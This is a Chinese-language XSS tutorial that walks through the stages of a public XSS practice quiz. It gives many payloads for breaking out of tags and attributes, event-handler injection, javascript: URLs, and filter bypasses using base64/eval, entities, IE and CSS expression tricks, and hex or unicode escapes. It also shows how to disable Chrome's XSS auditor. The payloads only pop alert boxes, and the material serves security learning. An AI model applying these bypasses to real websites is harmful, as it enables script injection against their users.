多应用+插件架构,代码干净,二开方便,首家独创一键云编译技术,文档视频完善,免费商用码云13.8K 广告
![](https://img.kancloud.cn/41/e0/41e066af9a6c25a24868d9667253ec98_1241x333.jpg) ***** ## XSS攻击 ### 实验环境介绍 地址:https://xss-quiz.int21h.jp/ ### 探测XSS过程 1.构造一个不会被识别为恶意代码的字符串提交到页面中 2.使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示 ### 闭合文本标签利用XSS 简单的payload ``` <script>alert(document.domain);</script> ``` 闭合标签的payload ``` "</b><script>alert(document.domain);</script> ``` ### 配置Chrome关闭XSS-Auditor https://xss-qhttps://xss-quiz.int21h.jp/ 利用XSS过程中会出现下图情况。配置Chrome --args -- disable-xss-auditor ![](https://img.kancloud.cn/91/e7/91e7e10bda4aeef30f5b65d486f3520b_1202x536.png) 在桌面新建一个快捷方式 ~~~ "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor ~~~ ### 属性中的XSS发现 技巧:ctrl+f 全局搜索输入的内容 闭合引号,尖括号,引入script脚本 payload ~~~ 123"><script>alert(document.domain);</script> ~~~ ### 属性中的XSS发现 onmouseover 鼠标悬停弹出 ``` " onmouseover= " alert(document.domain)> ``` ### 属性中的XSS发现 select元素可创建单选或多选菜单 ~~~ <select name="p2"> <option>Japan</option> <option>Germany</option> <option>USA</option> <option>United Kingdom</option> </select> ~~~ 在select下拉框中输入,闭合标签 ~~~ Japan</option><script>alert(document.domain);</script> ~~~ ### HTML表单隐藏参数介绍 隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。 当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上 ### HTML表单文本框介绍 ~~~ <input type='text' name='' value=''> value 输入字段的初始值 readonly 输入字段为只读(不能修改) disable 输入字段是禁用的 size 规定输入字段的字符 maxlength 输入字段允许最大长度 ~~~ ### payload触发XSS漏洞 修改maxlength的值,达到XSS攻击效果 ``` "><script>alert(document.domain);</script> ``` ### HTML事件介绍 W3C网址:http://www.w3school.com.cn/tags/html\_ref\_eventattributes.asp HTML实体 :https://www.w3school.com.cn/html/html_entities.asp ### 通过HTML事件来触发XSS ~~~ " onmouseover="alert(document.domain) " onclick="alert(document.domain) ~~~ ### 空格分隔属性中的XSS 按照上面的闭合思路来进行尝试 ``` " onmouseover= "alert(document.domain) ``` ### javascript伪协议介绍 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这 个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。 如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开 ~~~ javascript:var now = new Date(); "<h1>The time is:</h1>" + now; ~~~ javascript URL还可以含有只执行动作,但不返回值的javascript语句 ``` javascript:alert("hello world!") ``` ### a链接标签属性 标签定义超链接,用于从一个页面链接到另外一个页面 标签最重要的属性是href属性,它指定链接的目标 在所有浏览器中,链接的默认外观是: * 未被访问的链接带有下划线而且是蓝色的 * 已被访问的链接带有下划线而且是紫色的 * 活动链接带有下划线而且是红色的 ### XSS漏洞发现 构造特殊无害字符串,响应中寻找字符串 跳过Stage #9,在span标签中添加 onclick= "alert(document.domain)" ### 绕过方法 1.双写绕过 ~~~ "><script>alert(document.dodomainmain);</script> ~~~ 2.编码绕过 alert(document.domain) YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== eval 执行JavaScript代码 atob 解码base64 ~~~ "><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script> ~~~ ### 绕过替换script和on事件的XSS 在Stage #11演示 ~~~ &#09; tab制表符html十进制编码 "><a href="javascr&#09ipt:alert(document.domain);">xss</a> ~~~ ### 利用IE特性绕过XSS过滤 IE中两个反引号``可以闭合一个左边双引号 " `` 可以这样闭合 ``onclick=alert(document.domain) 这个只适用于IE浏览器 ### 利用CSS特性绕过XSS过滤 CSS层叠样式表,是一种用来表现HTML或XML等文件样式的计算机语言。可以修饰页面效果,拿网站 效果演示,修改css看页面效果 ### 利用CSS特性绕过XSS过滤 ``` background:url("javascript:alert(document.domain);"); 设置背景颜色 ``` ### IETester 官网:https://www.my-debugbar.com/wiki/IETester/HomePage 在IETester中打开Stage #13网址进行测试 在IETester中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行 ### IE中利用CSS触发XSS ### CSS中执行js css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题,微软从IE8 beta2标准模式开始,取消对css expression的支 在Stage #14演示 IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来 ``` here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;}); here:e\\0xpression(onmouseover=function(){alert(document.domain)}) ``` ### 16进制绕过过滤触发XSS 十六进制介绍 十六进制转换有16进制每一位上可以是从小到大为0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F 16个大小不同 的数,即逢16进1,其中A,B,C,D,E,F(字母不区分大小写),这六个字母来分别表示10,11,12,13,14,15 ### python16进制转换 ``` import binascii s = binascii.b2a_hex(">" .encode("utf8")) print(s.decode()) print("\\x"+s.decode()) ``` ### 双斜杠+16进制绕过 ~~~ \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e ~~~ ### unicode绕过过滤触发XSS unicode介绍 Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准。它对世界 上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字 Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并 且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。 ### 使用Python将字符串转换为unicode类型 ~~~ import binascii s = binascii.b2a_hex(">".encode("utf8")) print(s.decode()) print("\\u00"+s.decode()) ~~~ ### XSS攻击 ~~~ \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e ~~~